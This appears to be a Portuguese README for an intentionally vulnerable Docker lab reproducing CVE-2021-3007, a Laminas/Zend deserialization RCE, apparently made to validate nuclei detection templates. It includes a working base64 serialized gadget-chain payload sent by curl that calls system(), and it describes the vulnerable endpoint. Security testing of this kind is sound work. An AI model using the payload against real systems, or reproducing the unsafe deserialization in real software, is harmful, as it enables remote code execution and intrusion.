
Ambiente de teste vulnerável CVE-2021-3007 - Desserialização RCE no Laminas/Zend Framework
| Atributo | Valor |
|---|
| ID CVE | CVE-2021-3007 |
| Gravidade | Crítica (CVSS 9.8) |
| Tipo | Desserialização Insegura → RCE |
| Afetado | Laminas HTTP < 2.14.2, Zend Framework 3.0.0 |
| CWE | CWE-502 (Desserialização de Dados Não Confiáveis) |
# Clone repository
git clone https://github.com/KrE80r/CVE-2021-3007-vulnerable
cd CVE-2021-3007-vulnerable
# Start vulnerable environment
docker-compose up -d
# Verify it's running
curl http://localhost:8080
# Test with nuclei (optional)
nuclei -t CVE-2021-3007.yaml -u http://localhost:8080
# Cleanup
docker-compose down
docker-compose up -d && sleep 3 && curl -s http://localhost:8080 | head -1
# Send serialized payload triggering RCE
curl -X POST http://localhost:8080/ \
-d "data=TzoyODoiTGFtaW5hc1xIdHRwXFJlc3BvbnNlXFN0cmVhbSI6Mjp7czoxMDoiACoAY2xlYW51cCI7YjoxO3M6MTM6IgAqAHN0cmVhbU5hbWUiO086Mjg6IkxhbWluYXNcVmlld1xIZWxwZXJcR3JhdmF0YXIiOjI6e3M6NzoiACoAdmlldyI7TzozMzoiTGFtaW5hc1xWaWV3XFJlbmRlcmVyXFBocFJlbmRlcmVyIjoxOntzOjQ0OiIATGFtaW5hc1xWaWV3XFJlbmRlcmVyXFBocFJlbmRlcmVyAF9faGVscGVycyI7TzoyMToiTGFtaW5hc1xDb25maWdcQ29uZmlnIjoxOntzOjc6IgAqAGRhdGEiO2E6Mjp7czoxMDoiZXNjYXBlaHRtbCI7czo2OiJzeXN0ZW0iO3M6MTQ6ImVzY2FwZWh0bWxhdHRyIjtzOjE3OiJmaWxlX2dldF9jb250ZW50cyI7fX19czoxMzoiACoAYXR0cmlidXRlcyI7YToxOntzOjIyOiJlY2hvIG51Y2xlaUNWRTIwMjEzMDA3IjtpOjE7fX19"
# Esperado: Resposta contém "nucleiCVE20213007" confirmando RCE
Laminas\Http\Response\Stream::__destruct()
└─► Laminas\View\Helper\Gravatar::__toString()
└─► Laminas\View\Renderer\PhpRenderer::plugin()
└─► Laminas\Config\Config::get()
└─► system() / file_get_contents()
| Pacote | Versão | Propósito |
|---|---|---|
| laminas/laminas-http | 2.14.1 | Componente HTTP vulnerável |
| laminas/laminas-view | 2.12.0 | Componente da cadeia de gadgets |
| laminas/laminas-config | 3.7.0 | Componente da cadeia de gadgets |
A aplicação aceita dados serializados via POST:
/ ou /index.phpdata, payload, serialized| Componente | Valor |
|---|---|
| Imagem Base | php:8.1-apache |
| Porta | 8080 |
| Contêiner | cve-2021-3007-vulnerable |
.
├── Dockerfile # Configuração de construção do contêiner
├── docker-compose.yml # Orquestração (configuração única)
├── index.php # Aplicação PHP vulnerável
├── LICENSE # Licença MIT
└── README.md # Este arquivo
AVISO: Este ambiente é intencionalmente vulnerável apenas para fins de teste de segurança.
NÃO FAÇA:
FAÇA:
Licença MIT - Apenas para fins de pesquisa de segurança e educação.
Criado para validação de templates nuclei | projectdiscovery/nuclei-templates